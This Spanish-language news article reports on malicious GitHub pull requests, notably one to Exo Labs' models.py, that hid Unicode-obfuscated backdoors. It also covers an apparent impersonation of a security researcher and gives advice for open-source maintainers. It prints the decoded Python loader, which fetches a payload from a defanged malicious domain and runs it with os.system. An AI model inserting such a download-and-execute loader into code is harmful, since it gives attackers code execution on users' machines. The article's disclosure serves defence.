Recientemente, múltiples proyectos de GitHub han sido blanco de commits maliciosos y pull requests diseñados para insertar backdoors en los repositorios. Este incidente, que involucra intentos de comprometer proyectos de código abierto, subraya la importancia de reforzar la seguridad en el ecosistema de desarrollo colaborativo.
Caso Exo Labs: Un ataque disfrazado de mejora funcional
El repositorio de Exo Labs, una startup de inteligencia artificial y aprendizaje automático, fue uno de los principales objetivos de este ataque. Alex Cheema, cofundador de Exo Labs, alertó sobre un cambio de código “aparentemente inocente” titulado “clarify mlx requirement for deepseek models”, que proponía modificaciones en el archivo models.py.
Aunque el cambio parecía legítimo, en realidad contenía un código disfrazado en formato Unicode que, al decodificarlo, revelaba una secuencia diseñada para descargar y ejecutar un payload remoto desde un dominio malicioso.
¿Cómo operaba el backdoor?
El código malicioso incluía la siguiente secuencia:
python
Copiar código
import os
import urllib
import urllib.request
x = urllib.request.urlopen(“hxxps://www.evildojo[.]com/stage1payload”)
y = x.read()
z = y.decode(“utf8”)
x.close()
os.system(z)
Aunque el dominio apuntado no contenía ningún archivo malicioso al ser consultado, de haber sido aprobado el pull request, cualquier usuario que ejecutara el producto habría quedado expuesto a este código.
¿Quién está detrás de los commits maliciosos?
El ataque se complica aún más debido al uso de cuentas falsas en GitHub. Una de las cuentas identificadas, “evildojo666”, utilizaba el nombre y la imagen de Mike Bell, un investigador de seguridad y desarrollador con sede en Texas.
Bell ha negado cualquier implicación en los hechos y afirmó que está siendo víctima de una campaña de difamación. Según él, alguien creó cuentas en GitHub y sometió estos pull requests maliciosos para incriminarlo.
Además, la inexistencia de un payload funcional en el dominio evildojo[.]com refuerza la teoría de un ataque de suplantación de identidad.
Otros proyectos afectados
El caso de Exo Labs no fue aislado. Proyectos como yt-dlp, una herramienta popular para la descarga de audio y video, y al menos otros 18 repositorios, también recibieron commits similares. La plataforma de análisis Malcoreio identificó varias cuentas involucradas en el ataque, muchas de las cuales han sido eliminadas.
Aprendizajes y recomendaciones para desarrolladores
Este incidente resalta la necesidad de implementar medidas preventivas para proteger los proyectos open source:
- Automatización en revisiones de código: Herramientas como Presubmit AI Reviewer demostraron ser eficaces al identificar pull requests maliciosos.
- Revisión exhaustiva por humanos: Los cambios en el código deben ser analizados cuidadosamente, incluso si provienen de colaboradores aparentemente confiables.
- Políticas de seguridad: Aplicar políticas estrictas en los repositorios, como la verificación de identidades de los colaboradores y el uso de sistemas de autenticación multifactor.
Reflexión sobre el ecosistema open source
Aunque el ataque fue contenido antes de causar daño, su impacto pone de manifiesto la fragilidad del ecosistema open source ante actores maliciosos. La comunidad debe seguir promoviendo prácticas de desarrollo seguras para garantizar la integridad de los proyectos.
En un entorno donde la confianza es clave, reforzar la seguridad no solo protege a los proyectos, sino también a los usuarios que dependen de ellos en su día a día.